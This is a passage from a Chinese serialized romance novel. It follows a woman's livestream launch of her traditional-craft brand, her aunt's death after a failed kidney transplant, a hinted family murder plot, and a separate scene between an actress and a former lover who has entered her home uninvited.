她这会儿甚至有些后悔不该跟江莹打那个电话,让她在陆砚深面前又落了一个话柄。
出了医院,孟澜裹紧了身上的黑色大衣,跟宋瑾修一起把一步三回头的周晶晶送出了医院大门。
心想这丫头今天晚上是怎么了,这么依依不舍的。
周晶晶走后,孟澜跟宋瑾修聊了几句,毕竟在学校就关系不错,好久没见自然会多说几句,却没有注意到从他们身边过去的那辆车里,一道幽暗的视线一同划过。
孟澜到家进门后边往里走,边脱衣服,
到卧室时,身上只有一件贴身的长裙,她正抵着头反手解内衣扣子。
突然察觉一股浓烈的、带着侵略性的气息,猛地钻进鼻腔。
她浑身一僵,却看到床榻上,躺着个男人。
上半身衬衫松垮,纽扣开了,露出胸腹处清晰流畅的肌理,两条过长的腿已经快支出床尾。
他的手臂搭在眼皮上,只露出高挺鼻梁,薄唇和下巴,线条凌厉,显得很有男人味。
但又莫名多出几分浪荡子的气息。
“史凡。”
孟澜靠在墙边,轻唤。
男人的
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呼吸乱了下,却没有做出反应。
她又叫他:“周野。”
周野移开手肘,半坐起身,漫不经心一笑:“记性挺好。”
两年前的假名字还记得清楚。
孟澜走过去,居高临下看他:“你怎么进到我家的?”
“很难吗?”
周野偏过头,那双勾人的桃花眼里闪烁着光。
“我还记得你,不是因为我想和你在一起或者喜欢你,就只是单纯讨厌被人放鸽子的感觉。”
“现在你出现,我就可以正式通知你,你出局了。”
孟澜冷冷看着周野
两年的时间说长不长,说短也不短,至少在这两年里,孟澜在娱乐圈小有名气。
两年时间,这个男人倒是一如既往,有着冷峻好看的脸,比起过去那种轻挑放荡,多了几分正经和严肃,却也更显锋芒。
就是可惜了,这张脸长在他身上。
“从我家出去,别让我说第二遍。”
“孟澜,我跟你解释了,不联系你是工作需求。”
他起身走到孟澜跟前,拉起她的手两人困在自己腿上,呼吸若有似无喷洒在她脖颈处。
他盯着她好看清丽的眉眼,眼神交缠,“出局的是史凡,现在跟你在一起的是周野,我重新追求你。”
孟澜看着他的脸,恨不起来,这两天她过得并不好,找了这么久的人突然出现,她怎么可能无动于衷?
表面再冷淡,再无所谓,也不过是骗人的伪装。
她撇开视线不看他,声音冷硬,“不用,我所在的圈子,最不缺的就是男生,而且不比你差。再说了江莹给我介绍了一个男朋友,家底能力都不错。”
周野听到这话,抬手捏住她的下巴,发狠一样吻住她。
这两年支撑他走过来的就是这张小脸,原本不见她,还能克制住自己的情绪,但她不经意间的出现,让周野自以为坚不可摧的心墙,瞬间崩塌。
男人结实的手臂直接将她整个人抱起,摔在了床上。
他坚硬而滚烫的身躯随之覆盖,居高临下盯着她:“孟澜,我之前有没有告诉过你,不要轻易刺激一个男人,尤其是对你有所图的男人?”
孟澜提膝,想要攻击他身上某个部位,却被周野提前预防,将她死死压在身下,指尖在她细韧的腰身上划过。
酥酥麻麻的触感,让孟澜不由得紧绷,甚至有那么一瞬轻颤。
他最清楚这里是她的弱点之一。
第128章 从我身上滚下去
随着周野的吻在她锁骨上落下,孟澜眼角的泪滑下。
他们有过无数个亲密的夜晚,那些彼此交融的情动,曾让她坚信周野是爱她的。
然而,在一天又一天,一年又一年的等待、寻找中,那些彼此纠缠的夜晚,让她看不清他们之间的关系是否只限于床上。
她鼓足勇气问他为什么不联系,他的答案在她看来是骗都懒得骗的敷衍。
“周野,别让我恨你。”
孟澜放弃了挣扎,直挺挺躺在他身下。
周野的吻,在她胸口刹车。
他抬头,看到孟澜眼角的泪,心口刺痛。
“孟澜,我没有骗你,我的工作性质你知道一些,但还有很多地方不能说。”
卧室里的空气由旖旎变得低沉。
孟澜就那么平躺在床上,眼睫垂着,平日里亮得像星子的眼睛,此刻没有半点光,只剩一片化不开的静默。
周野撑在她上方,呼吸滚烫,指尖还带着想要触碰她的颤意,可不等他靠近,孟澜开了口,声音平静得有甚至些冷意。
“骗没骗我,已经不重要了。”
她缓缓抬眸,视线直直撞进周野仍旧带着欲念的眸子。
手掌用力抵在男人滚烫的胸膛上,将他往外推。
“周野,这两年我找你,只是想给曾经那个自己一个交代。毕竟第一次睡的男人,在心里总归会有些不一样的情愫。现在见到你没死,过得还挺好,也算给自己交代了。”
孟澜无法接受自己像个傻子一样思念,寻找,这人如同人家蒸发一样,只言片语都不留。
盯着孟澜平静无波的眸子,周野身形猛地一僵,眼底划过一抹慌乱。
孟澜别开脸,声音里的温度一点点消失,“周少喜欢刺激,兴致来了招惹一下,而我希望一生一世一双人,所以我们根本就不是一路人。从今以后,还是互不打扰,各自安好吧。”
周野那双深邃的桃花眼沉沉盯着她,心里翻涌的情绪让他撑在床上的手臂紧绷。
他不能解释太多,现在的隐藏身份依旧不能透漏,这次是他没有控制好,确实不该让她跟着自己冒险,敌人是谁都还不知道,怎么能让她卷进来。
在暮色他忍住了,让她走,但今天再次见到,心里的火越烧越旺,尤其是看到她跟宋瑾修有说有笑,不受控制地来到了这里。
现在这个时候,不该放任欲望,纵容自己,一不小心就是万丈深渊。
自己早已做好准备,但不该连累了她。
孟澜见他盯着自己不动,咬唇道:“从我身上滚下去,否则我现在就报警说你私闯民宅企图**。”
周野感觉喉咙里像是被塞了一把碎玻璃,咽不下去,吐不出来。
如水的视线在孟澜脸上,一寸寸扫过,朝思暮想的人,近在咫尺却形同陌路。
他不甘地低头,吻住孟澜,这个吻深沉绵长,不给孟澜拒绝的机会。
良久,周野主动结束这个吻,起身时眼神里的欲望被他果决的神色遮住不少。
他背对着孟澜,骨节分明的手指颤抖着,扣好衬衫的扣子,一颗一颗动作机械又僵硬,透着无力感。
“你好好休息。”
他丢下这五个字,抓起床边的外套,脚步沉重却又不敢停留。
“嘭”
一道关门的声响,震碎了孟澜最后一道防线。
她浑身力气瞬间被抽干,身子一软,蜷缩在床上。
不是不疼,不是舍得,而是不想清醒的沉沦。两年的时间不长,但她耗尽了心力,得到的却是他轻描淡写一句工作需要,这个理由她暂时接受不了。
……
江莹回到梧桐里,早早上床睡觉,心里悬着的石头落地,她今晚可以睡个好觉了。
刚闭眼,手机响了起来。
她心脏骤然紧缩,快速睁开眼睛,去拿手机,看到不是江墨打来的,心脏瞬间舒张开,长长吐了口气,然后狠狠地挂断电话。
狗东西,成事不足败事有余,平白让她情绪紧张。
既然要死,就死彻底点,突然出来诈尸吓人。
心里不爽,让她直接把陆砚深再次拉黑,然后放下手机睡觉。
第二天一早,天刚亮,江莹揉着眼睛从床上坐起,第一件事就是拿过手机拨通了江墨的电话。
“姐,你醒啦?”
江墨的声音听起来透着一夜未眠的疲惫,但语调是轻松的。
江莹悬着的心稍稍落下一半,“舅妈怎么样了?有没有出现排异反应?”
“医生刚查过房,各项指标都还算稳定,你别太担心。”
可能不担心,医生说过肾移植最怕的就是急性排异反应,一旦出现百分之九十九都是要命的。
听到“稳定”两个字,江莹捂着胸口,长长地吐出一口气。
“那就好,你在医院盯着,千万别大意,有事随时给我打电话。”
“你放心忙你的事,医院我盯着呢。”
江墨对江莹的依赖,让他自己觉得惭愧,表姐也就比他大四岁,却给他撑起了一
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片天。
“姐,加油!”江墨声音有些沙哑,“还有,谢谢!”
江莹愣怔几秒,臭小子长大了,都会跟她说谢了。
小时候,姐弟俩见面就是互损,尤其是江墨,看不惯他爸妈还有爷爷宠爱江莹,总说她就知道撒娇讨欢心,舔狗嘴脸。
江莹怼他自己不讨人欢心,却嫉妒别人,小心眼儿,活该没人疼。
然后就会换来江墨咬牙切齿在后面追着她打。
小时候,无忧无虑,谁能想到短短三年时间,他们的生活会发生翻天覆地的变化。
江莹咬唇,稳住自己的情绪,笑道:“臭小子,现在知道讨好我了。除了笨了点,还不算晚。”
姐弟俩又说了两句,挂断电话。
江莹起床去洗漱,一阵干呕后,胃里火辣辣泛着酸。
她看着镜子里自己疲惫又苍白的脸,抬手覆在自己小腹上,虽然还感觉不到他们的存在,但江莹莫名觉得心暖。
等舅妈好点了就告诉她,她一定会很开心。
将来孩子出生,有母亲、舅妈,还有江墨,他们一定会是幸福的宝贝。
想到这里,江莹眼神里清明有光。
心里开始默念:菩萨保佑,让舅妈平安熬过这两天。
……
江莹跟梁玥吃过早餐,直奔直播场地。
推门进去,就看到凌澈带着几个同学正在布置场景。
“师姐,你来啦!”
凌澈放下手里的打光灯,跑过来打招呼。
男孩目光落在江莹脸上,眉头微微一皱,“几天没见,学姐你怎么又瘦了?下巴都尖了。”
江莹笑了笑,拢了拢身上的开衫,“最近有点累,不碍事。”
梁玥打趣他,“眼睛跟雷达一样,看一眼就知道你师姐瘦了,过几个月你师姐胖成球让你大跌眼镜。”
江莹明白梁玥话里的意思,抿唇笑了下,“是,忙完这今天,我就给自己放假准备过年,保证吃成球。”
三年说笑一阵,各自去忙。
凌澈不放心地叮嘱:“阿姨手术的事我们听说了,吉人自有天相,你放宽心别把自己熬垮了。”
“谢谢,一定会没事的。”
江莹拍了拍他的肩膀,转身投入到紧张的准备工作,心里却隐隐泛着苦涩,莫名有些闷。
下午一点整。
直播间的倒计时结束,画面正式切入。
因为孟澜提前在自己的社交平台上发了预告,直播间刚一开播,在线人数就以坐火箭的速度往上窜。
第129章 榜一大哥豪掷百万
三万,五万,十万……
开播半个小时,直播间在线人数十万加,直接冲进了各大平台的热播榜前三。
江莹坐在镜头外,手机屏幕一直亮个不停。
她低头扫了一眼,微信群里早就炸开了锅。
冯夫人带着那帮官太太,早早就搬好小板凳蹲在直播间里了,还说要刷嘉年华和梦幻城堡。
伴随着满屏眩目的特效,礼物刷榜的提示音简直像是在撒钱。
“出水芙蓉送出嘉年华x2!”
“书香世家送出梦幻城堡x3!”
直播画面里,古色古香的案几上摆满了设计感精巧的物件。
造型新颖的榫卯结构紫檀木小宫灯,剔红工艺的岁寒三友摆件,还有精雕细琢的螺钿漆器。
网友们的弹幕已经快把屏幕淹没了。
“**!这灯笼的镂空雕花是人能做出来的吗?”
“不愧是拿过工匠金奖的大神,这手艺绝了!”
“我一直以为传统文化很枯燥,今天算是开了眼了,原来可以这么美!”
大家聊着聊着,话题逐渐转移到了这个神秘的“山风”老师身上。
“听说山风老师不仅手艺好,人长得也超级美,不知道今晚有没有机会见到。”
“求出镜!求看脸!”
满屏都在刷“求出镜”。
只有寥寥几个不和谐的声音,陆宁看着直播,恨得牙痒,“这个女人,果然是钻钱眼儿里了。”
陆家客厅,几个人原本默默看直播,听到她这话,老三媳妇先开口,“砚深两口子,一个比一个脑瓜子灵活。江莹这才刚被爆出是‘山风’就来了这场直播,还请了明星到现场。”
陆君这几天在家一直控制着情绪,想到江莹知情不报看她笑话,心里不爽。
许振清这几天一个电话都没有,她每天都在压抑和绝望里,江莹却好好地还直播捞金。
“她不就是这种人,向来会审时度势,要不然会干出扫到家里来逼婚这种事?”
陆静淑皱眉,“陆君,怎么说话呢?你当砚深是个被拿捏的主儿,自己弟弟你还不了解,他若是不喜欢,会跟江莹维持这么多年?那小子就是个嘴硬。”
陆君不好说什么,起身回自己房间。
乔云舒看到还有好看的发饰,啧啧称赞,“表嫂还挺大方,这么好的机会给别人做嫁衣。这些发饰怕是也要卖断货了。”
“她是聪明,孟澜的粉丝大部分都是你们这个岁数的年轻女孩子,发饰是她拉人气稳销量的一环,这丫头跟在你表哥身边没少学东西。”
陆静淑边看边说,还不忘下单。
陆宁不好再说什么,干生气不敢吭声。
老太太过来,问道:“直播开始了吗?”
乔云舒乖巧地把手机递到她面前,“开始了,外婆,你看看有没有喜欢的,让表嫂给留两个。”
“留什么留?”老太太把拐杖放在一边,语气笃定。
陆宁听到眉头瞬间舒展,看来奶奶还是不喜欢江莹。
陆静淑母女相视一眼。
老太太不喜欢江莹,在这个家里人尽皆知,看来并没有因为江莹是非遗工匠金奖得主,逍遥楼的设计师而改变。
“买,把今年过年要用的灯笼都买齐了。”老太太抬手招呼管家过来,“老秦,你抓紧时间看看需要多少个,赶紧买齐,这些样式我都喜欢,看着心情就好。”
陆宁:“……”
陆静淑撇嘴笑,这老太太跟小孩子一样,看见自己喜欢的东西走不动。
管家乐呵呵去统计家里的灯笼,相比之下,他也很喜欢江莹直播间里的灯笼,造型精美,他都没有见过那么好看的。
直播间弹幕还在刷要求‘山风’出镜,孟澜看着弹幕,佯装生气,“宝宝们,你们这么快就变心了,我才来不到一个小时,你们就移情别恋,这合适吗?”
说着看了一眼镜头外的江莹,“这样,直播间人气再往上冲一波,我就满足大家的愿望。”
她话落,主持人又开始介绍另一盏灯笼,这是一盏八角宫灯,仿木质框架,搭配红色磨砂玻璃,上面是龙凤呈祥和四季平安传统纹样,特别适合挂在大门。
主持人介绍完,陆家老太太道:“老秦,这个多买几个,每个院门口挂两个,多喜庆。”
老太太边看,边让管家加购物车,怎么看都是一个老小孩。
直播间人气冲到十五万时,孟澜响应粉丝要求,一把拉住正在旁边整理样品的江莹,直接将她拽进了镜头里。
江莹今天穿了一件月白色的改良素雅旗袍,长发随意地用一支玉簪挽在脑后。
虽然画了妆,但脸上还是有些病态的苍白,但那种清冷易碎、温婉坚韧的气质,瞬间透过屏幕击中了所有人的心脏。
原本热闹的弹幕诡异地停滞了一秒。
紧接着,公屏彻底炸了。
“我勒个去!这颜值是真实存在的吗?”
“姐姐好美!姐姐杀我!”
“明明可以靠脸吃饭,偏偏要靠才华,这才是真正的才貌双全啊!”
孟澜凑到镜头前,搂着江莹的肩膀大方调侃。
“看到了吧,这就是我藏了多年的神仙闺蜜。”
“幸好这姐妹对内娱不感
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兴趣,要不然娱乐圈又多了一个能全方位碾压我的人,那我不得嫉妒死。”
江莹被她闹得有些不好意思,对着镜头微微弯了弯唇角,“大家别听她瞎说,喜欢哪件作品可以直接拍。”
这一笑,犹如春风拂过冰面,直播间的气氛瞬间达到了顶峰。
库存数量直下降,后台的订单提示音响得像**扫射。
凌澈盯着后台数据,激动的手都在发抖,“学姐,爆仓了!准备的五千份现货秒空!最大的订单,一下子买了八十八个。”
江莹愣了,她可从来没想过会这样的有场面,一开始还怕孟澜的粉丝年纪小,不是受众群体,没想到效果这么好。
孟澜调侃:“看来大家都被我们江小姐的颜值和才华折服了,我在直播间一个半小时,没有她出镜几分钟效果好,直接爆仓了。”
凌澈这会儿有些手足无措,完全不知道该怎么办,什么时候经历过这样的场面,完全不知道爆仓了该怎么办。
之前大家还担心这些小众的工艺品会不被大家喜爱,卖不掉砸在手里。
现在好了,根本就不够卖!
直播间的粉丝哀嚎一片,满屏都在抱怨手速慢抢不到,强烈要求加库存。
梁玥这时候稳住凌澈,“你跟工厂联系,问一下现在定做,最多可以做多少,几天可以交货,能不能赶在快递停运前全部发出,我们可以适当加钱。”
凌澈这会儿反应过来,“好,我马上去。”
经过沟通,最终接受两百单预定,确保可以在年前拿到。
直播进行到尾声,江莹正准备对着镜头说结束语,“感谢大家对‘山风’文创的喜爱,今天是‘山风’文创第一次跟大家见面,走进大家的视线,我们以后会有越来越多的产品,供大家选择,也可以选择私人订制。我本人将致力于传统文化的传播和守护,支持和扶植传统手艺人。今晚大家刷的礼物,我一分都不会留,将全部捐给爱心基金会,用于传统文化的发展。”
梁玥没想到,她会捐了,她刚刚算了一下,一场直播下来,刷的礼物不是小数,其中榜一大哥豪掷百万。
但连个网名都没有,因为网名空白,估计是两个空格键。
孟澜在跟粉丝告别,江莹离开镜头范围,看到放在一旁的手机在震动。
来电显示是江墨。
江莹心头猛地一跳,一股强烈的不安瞬间攥紧了心脏。
她拿起手机悄悄离开直播间,然后接通,“小墨,怎么了?”
电话那头,江墨的声音低沉沙哑,“姐……你快来趟医院吧。”
第130章 江小姐,我们都尽力了
江莹好不容易有些红润的脸色瞬间褪得干干净净,嘴唇克制不住地哆嗦。
“出什么事了?”
明明她心里已经有了答案,还不死心地问出口。
江墨这次没有再哭,只是沉默了,话筒里是仪器刺耳的警报声和医生护士杂乱的脚步声。
几秒钟后,江墨开口,“我妈出现急性排异反应了!”
“医生说……”
“啪”的一声。
江莹手里的手机顺着脸颊滑落。
直播间里的粉丝还在欢快地刷着屏。
而江莹站在刺眼的打光灯下,浑身冰冷,犹如坠入深渊,四周黑暗。
在她摇摇欲坠之际,宋瑾修揽住她的腰。
“莹莹……”
江莹没有反应,他直接打横将人抱起,梁玥看到匆忙出来了有些担心,跟了过来,看到这一幕惊呼出声:“师哥,江莹怎么了?”
“不清楚,赶紧从去医院。”
梁玥捡起江莹的手机,分别给凌澈和孟澜发了消息,急匆匆跟着宋瑾修送江莹去医院。
她握着江莹的手,冰凉的触感让人心疼。
路上,梁玥不停地搓江莹的手,车子走到一半,江莹缓缓睁开了眼。
梁玥看到他醒来,眼泪刷一下就掉了下来。
“莹莹,怎么样,有没有哪里不舒服?”
江莹迷茫地看着车里的人,“我怎么了?”
“你晕倒了,幸好师哥赶到,要不然……”
梁玥不敢想,若是没有宋瑾修扶住她,孩子会不会有危险。
“师哥,快去医院,我舅妈出现了急性排异反应。”
说话间,江莹眼泪顺着脸颊往下流,梁玥擦都擦不及。
“莹莹,生老病死,这事……”宋瑾修声音低沉,说得很艰难,“你已经尽力了,不是所有事,我们都能按照自己的意愿给个结尾。”
江莹不是不懂,但还是控制不住,明明已经那么用力地想要挽留舅妈,但还是没能留住。
江莹赶到医院时,医生刚从抢救室出来,看到她摇了摇头。
“江小姐,我们都尽力了,穆女士的排异反应,确实出乎我的意料之外,加上她本身就已经撑到了极限,所以……,抱歉,进去看看吧。”
医生说着走开,边走边嘀咕配型完全一致的病人,怎么会出现这么严重的排异反应和术后感染?
宋瑾修盯着他的背影,眸色深沉。
江莹听到了,但并不知道这句话的含义,加上她一心着急去看穆青,自然而然没有放在心上。
走廊上的冷风顺着虚掩的窗户吹进来,激得江莹浑身打了个冷战。
她死死咬住下唇,直到口腔里尝到了一丝淡淡的血腥味,才迫使自己从那种天旋地转的绝望中抽离出来。
江莹抬起有些僵硬的手,用力擦干了脸上的泪。
她深吸了一口气,努力让自己看起来平稳冷静,才推开了急救室的门。
浓烈的消毒水味和淡淡的血腥气,让她有些想吐。
江莹忍着胃里的翻涌,一步步上前。
病床边,江墨就跪在冰冷的瓷砖地上。
这小子平时遇到点事就咋咋呼呼,此刻却出奇地安静。
他没有掉一滴眼泪,只是双手紧紧握着穆青苍白枯瘦的手指。
神色是从未有过的乖巧和听话,像个做错事生怕被大人丢下的小孩。
“妈,你说的我都记住了,放心,我会做到的。”
他声音很低,透着一股极力压抑的沙哑。
听到开门声,病床上的穆青缓缓转过头,看到江莹挣扎着抬起手,朝着江莹的方向伸过去。
只是她现在有心无力,枯瘦的手才刚刚抬起一拳高,又重重地垂了下去。
江莹看着眼前这一幕,心脏像是被刺穿,被人不停地反复绞杀。
痛得她连呼吸都觉得是在受刑。
她大步走过去,在病床另一侧半蹲下来,一把握住了穆青泛着凉意的手。
江莹勉强扯动僵硬的嘴角,扯出一个极其温和的笑。
“舅妈,对不起,我来晚了。”
她故意让自己的语调听起来轻松上扬,像往常回家报喜一样。
“不过你一定想不到,我今天第一场直播卖货,直接都卖断货了。”
穆青看着她,原本灰败的脸上慢慢浮现出一个慈爱的笑容。
“你打小就聪明。”
她说话的声音虽然轻,却不像手术前说话断断续续,反而清晰流畅。
“你外公和你舅舅以前就总说,我们家莹莹聪明有定力,比墨墨厉害多了。”
穆青反握住江莹的手,指腹在她手背上轻轻摩挲着。
“果然,他们没看错。”
江莹近距离地看着穆青的脸,有些恍惚。
舅妈说话的条理清晰,这样生动鲜活的一个人,怎么可能像医生说的那样快不行了?
她多希望医生搞错了,甚至想错了也不怪医生,只要舅妈能好。
穆青的目光在江莹和江墨之间流转了一圈,最后停在儿子身上。
“小墨,你先出去一下。”
江墨像是被触碰到了逆鳞,身体一僵,握着穆青的手猛地收紧,快速地摇头,“不,我不出去。”
穆青笑了笑,唇角的笑意温暖,“我跟你姐说几句话,你一个男孩子听着不方便。”
江莹走神的思绪回笼,忍着心头的酸楚,瞪
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了他一眼,“都多大人了还跟小时候一样,怕我跟舅妈单独在一起,像是我会跟你抢妈妈一样。”
她语气带着往日里姐弟俩互怼时的娇蛮,甚至还故意哼了一声。
江墨咬着牙没吭声,眼框里泪水在打转。
穆青笑着叹了口气,费力地捏了捏儿子的手心。
“听话,妈妈就跟你姐单独说几句。”
江墨喉结滚了滚,咽下心里的苦涩,慢慢松开手,撑着发麻的双腿站了起来。
一步三回头地走出了抢救室。
随着“咔哒”一声轻响,门被彻底关严。
偌大的病房里,只剩下仪器发出单调而沉闷的滴答声。
江莹长长吸了口气,脸上的轻松瞬间敛去,取而代之的是超越年龄的沉稳。
她凑近穆青耳边,声音压得很低,却字字铿锵。
“舅妈,你放心,你之前跟我说的事,我已经找人在查了。”
穆青眼神直直看着她,心里是安慰的,她没想到江莹已经有所行动。
“目前基本可以肯定,外公当年吃的药,确实是被人暗中换过了。但背后指使换药的人隐藏得很深,现在还不能确定到底是谁。”
她停顿了一下,用力回握住穆青的手,给予她力量。
“而且,我还查到,三年前那场车祸,很有可能不是意外,而是蓄谋已久的**,你的怀疑是对的。”
听到这句话,穆青紧紧抓住江莹的手,眼神不安。
“莹莹,一定要注意安全。”
“你放心,我会的。”江莹轻声安抚着,眼神却无比坚定,“等我手里拿到了实质性的证据,我就会立刻申请**机关介入调查。这件事我一定会查个水落石出,绝不会让外公和舅舅就这么不明不白地走了。”
她深吸一口气,跪在冰凉的地板上,将穆青的手贴在自己的脸颊上。
“小墨你也完全不用担心,我是他姐有我在一天,我就护他一天。属于江家的东西,我也一定会拿回来交到他手里。”
穆青看着她,久久没有说话。
江莹太聪明了,聪明到不需要她多费一点口舌,就已经把她临终前最牵挂的所有事情,桩桩件件都安排得妥妥当当。
自从生病以来,穆青从来没有在两个孩子面前掉过一滴眼泪。
她知道,为了能让她活下去,江莹和江墨这两个本该无忧无虑的孩子,已经承受了太多太多。
若是自己这个当长辈的还成天哭哭啼啼,只会徒增他们心里的痛楚和压力。
可是这一刻,听着江莹的承诺,她终于忍不住。
大颗大颗的眼泪顺着她凹陷的眼角滑落,“莹莹……”
第131章 舅妈走了
穆青的声音带着压抑的哭腔。
“舅妈知道你已经尽力了,为了我这条命,你连自己的委屈都咽了下去。”
她看着天花板,眼神里满是对这个世界的眷恋。
“舅妈也想过多活两年,哪怕就是两年,亲眼看着你和墨墨把日子越过越好。可是我已经拖累你们太久了,这副破身子,终究是没福气。”
穆青苦笑了一下,笑容里透着认命的凄凉。
“或许就是天意,舅妈这辈子虽然有遗憾,但并没有不甘,总的来说还是幸福的。”
她转过头,泪眼婆娑地看着江莹,满眼都是愧疚。
“墨墨那孩子心思单纯,做事又没个轻重,我最不放心的就是他。莹莹,你别怪舅妈自私,把这么重的担子全压在你一个人身上。”穆青紧紧反握住江莹的手,有愧疚之色,“这事牵扯太大,他做事冲动,若是知道了真相去硬拼,再出点什么事……,我下了黄泉,也没脸见你舅舅和你外公。”
江莹听着这些话,眼泪终于决堤,大颗大颗地砸在交握的手背上。
她伸出另一只手,拿过床头的纸巾,动作轻柔地帮穆青擦拭着眼角的泪水。
而她自己一边流泪,一边却又拼命地摇头笑着。
“我知道,我怎么会怪你。就他那个一根筋的铁憨憨,若是知道了真相,肯定会打草惊蛇。你要是真把这些事交给他去办,我才会生你的气呢。”
江莹吸了吸鼻子,言语中透着果决,“查清这件事,不仅仅是为了外公和舅舅。当年那场车祸,我和我妈也在那辆车上。舅舅拼了命护住我们,可我妈现在痴痴呆呆,连自己是谁都不认识,不也是拜那场车祸所赐吗?”
这也是她的血海深仇,她怎么可能袖手旁观。
穆青扯了扯干裂的嘴唇,露出了一个极淡却释然的微笑。
“谢谢你,莹莹。这三年,若不是你撑着这个家,舅妈根本熬不到今天。”
她大口喘息了口气,胸口的起伏渐渐变得微弱。
“但是,这么多年,也真是苦了你了。”穆青心疼地看着她,“有句话,舅妈其实憋在心里很久了,一直没敢跟你说。但现在,再不说没机会了。你跟陆砚深……你该放手了。”
江莹擦眼泪的动作猛地一顿,睫毛颤抖了一下,其实所有人都看得出来,陆砚深心里没有她。
“这三年,你以为你瞒得好,其实舅妈心里都知道。”穆青叹了口气,语气里满是无奈,“但莹莹,你还年轻,以后的日子还长着呢。”
穆青费力地抬起手,轻轻摸了摸江莹濡湿的脸颊。
“你这么好的姑娘,值得更好的人心疼你。小宋那孩子,这三年是怎么对你的,我们都看在眼里。”
穆青的声音越来越轻,却依旧清晰。
“人不能总盯着前面虚无缥缈的东西,有时候不妨停下脚步,回头看一看。”
江莹用力地点着头,泪水顺着穆青的手指流淌。
“我知道,舅妈,我都知道。”
她深吸了一口气,将压在心底的那个秘密终于说了出来。
“怕你担心,我一直没敢跟你说实话。其实,我跟陆砚深已经登记离婚了。”
穆青的眼睛微微睁大,随即化作了一抹欣慰的平静。
“不出意外的话,等过完这个年,冷静期一过,我们就能正式办手续了。”
江莹抹了一把脸,眼神是从未有过的清明与坚韧。
“你放心吧,我不傻。以前总觉得精诚所至金石为开,没有捂不热的冰。”
江莹自嘲地弯了弯唇角,眼底却透着一股决绝的傲气。
“后来我才发现,我能力有限,捂不热冰山。我是不撞南墙不回头,但不代表撞得头破血流的时候我不知道疼。”
穆青缓缓点了点头,无神的眼里是释然的泪光。
“莹莹,照顾好自己。”
她胸口微弱地起伏着,每呼吸一次胸腔欺负就弱一分。
“舅妈这次……是真的撑不下去了。”
江莹死死攥着她的手,眼泪扑簌簌地往下掉,拼命地摇着头,“舅妈……”
“你和墨墨不用太伤心,你们已经做得很好了。”
穆青一直努力瞪大眼睛,试图对抗越来越沉重的眼皮。
她想让自己多清醒几分钟,想再多陪一陪这两个可怜的孩子。
江莹紧紧咬着嘴唇,将满嘴的血腥味生生咽了下去。
关于张启明,她一个字都没有提。
她不想让舅妈带着这么沉重的担子和满心的担忧离开。
既然结局注定要走,不如让她走得干干净净,走得轻松一些。
护士将穆青从抢救室推回了普通病房,等待最后的时刻。
宋瑾修走到病床前,一贯温润的脸上此刻满是郑重。
他微微弯下腰,轻声却坚定地安慰道:“穆阿姨,莹莹和墨墨我会照顾好。您放心,我会一直护着他们。”
穆青此时已经精神极度不济,苍白的脸上是将死之人才有的暮气。
但她的脑子还算清醒,听到这句话,无比欣慰地微微点了点头。
她张了张嘴,却已经发不出任何声音,用尽全身最后的
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一丝力气,颤巍巍地拉起江莹冰冷的手。
然后,她摸索着,将江莹的手郑重地放进了宋瑾修宽大的掌心里。
穆青无力地眨了眨眼睛,目光在两人交叠的手上停留。
宋瑾修立刻明白了她的意思,反手将江莹的手轻轻握住。
江莹的心狠狠颤了一下,眼泪再次决堤,她同样明白舅妈在托付什么。
在这个生死诀别的关头,她没有任何理由去避嫌。
她没有抽回手,由着宋瑾修握着,只为了能让舅妈彻底安心。
病房里的空气压抑得让人喘不过气,江莹浑浑噩噩地走到门口。
刚迈入病房,她眼前便是一阵猛烈的发黑,身子不由自主地往下滑。
一直在她身边守着的梁玥大惊失色,急忙扶住她,“莹莹!”
梁玥心疼得无以复加,这么努力的人,却依旧没有留住最想留住的人。
昨天明明才刚松了一口气,谁能想到命运的齿轮转得这么残忍,还是走到了今天这一步。
“莹莹,你千万要注意自己的身体啊。”
梁玥的视线若有似无地扫过江莹平坦的小腹,声音暗哑。
江莹不是没有经历过生离死别。
三年前,舅舅突然离世,天塌下来的时候是舅妈当了家里的主心骨。
那时候的江莹,全部精力都在母亲身上。
时隔三年,再次目睹最亲的人一步步走向死亡,心底的慌乱和无力感,无法用言语来形容。
到了晚上,穆青已经彻底失去意识。
她静静地躺在病床上,只剩下极其微弱的呼吸和心跳。
说白了,就只剩最后一口气在苦苦熬着。
江莹和江墨守在病床两侧,病房里只有监护仪的滴滴声。
让人崩溃的煎熬,一直持续到了第二天凌晨六点。
窗外刚翻起鱼肚白,监护仪突然发出一声刺耳的长鸣音。
屏幕上的波浪线渐渐变成一条毫无起伏的直线。
“妈!”
江墨呜咽着趴着母亲身边,紧紧抓着她的手,仿佛这样她便不会走。
江莹泪眼不受控制往下落,舅妈走了,疼她的亲人又少了一个。
……
下午三点,城北的殡仪馆。
穆青的遗体被安置好,江莹坐在一旁看着前来吊唁的亲戚进进去去,身体仍控制不住的发抖。
明明室内温度不低,她却觉得冷,是那种从骨子里透出来的冷。
梁玥怕她承受不住,寸步不离守着她,让她靠着自己。
这时,陆砚深脚步匆匆从外面走了进来。
第132章 怀孕的事,他知道了吗
他出国四天,刚下飞机就听到这个消息。
怎么也没想到,短短四天时间,穆青竟然已经不在了。
当他的视线穿过人群,落在角落里那个身心憔悴的女人身上时,心脏猛地一阵揪痛。
江莹穿着黑色的素服,胸前别着一朵小白花,瘦得仿佛一阵风就能吹倒。
陆砚深忐忑地迈着步子,一步步走到她面前。
他蹲下身子,看着她空洞的眼神,声音不由自主地发哑:“江莹……”
就在他开口的这一个瞬间,江莹原本低垂的眸子骤然抬起,眼底迸发出浓浓的恨意。
下一秒,她没有任何犹豫地抬起手。
“啪!”
一记清脆而响亮的耳光,结结实实扇在了陆砚深脸上,随即猛地将人往外推。
陆砚深丝毫没有防备,在她全力的冲击下,直接倾倒在地上。白皙的侧脸上瞬间浮现出鲜红的指印。
整个悼念厅陷入了死一般的死寂,所有人都震惊地停下了动作。
“陆总。”江莹的声音沙哑,透着彻骨的寒,“生前你连看都不愿来看一眼的人,死后也没必要跑来假惺惺。”
她恨他。
恨他在生死攸关的最关键时刻,将那个原本属于舅妈的**给了秦欣的人!
江莹红着眼眶,死死盯着眼前这个自己曾爱入骨髓的男人。
如果用了最初他找的那个供体,是不是就不会出现这么强烈的排异反应?舅妈是不是就不会死?
她明明还有那么多想做的事没有做,她还没有看到江墨大学毕业,还没有看到背后的凶手浮出水面。
陆砚深缓缓直起身子,顶着脸上的巴掌印,看着江莹眼里的决绝,那是恨不得将他生吞活剥的怨恨。
“江莹,我……”
陆砚**结滚动,刚开口,江莹身体摇摇晃晃往下栽倒。
“莹莹……”
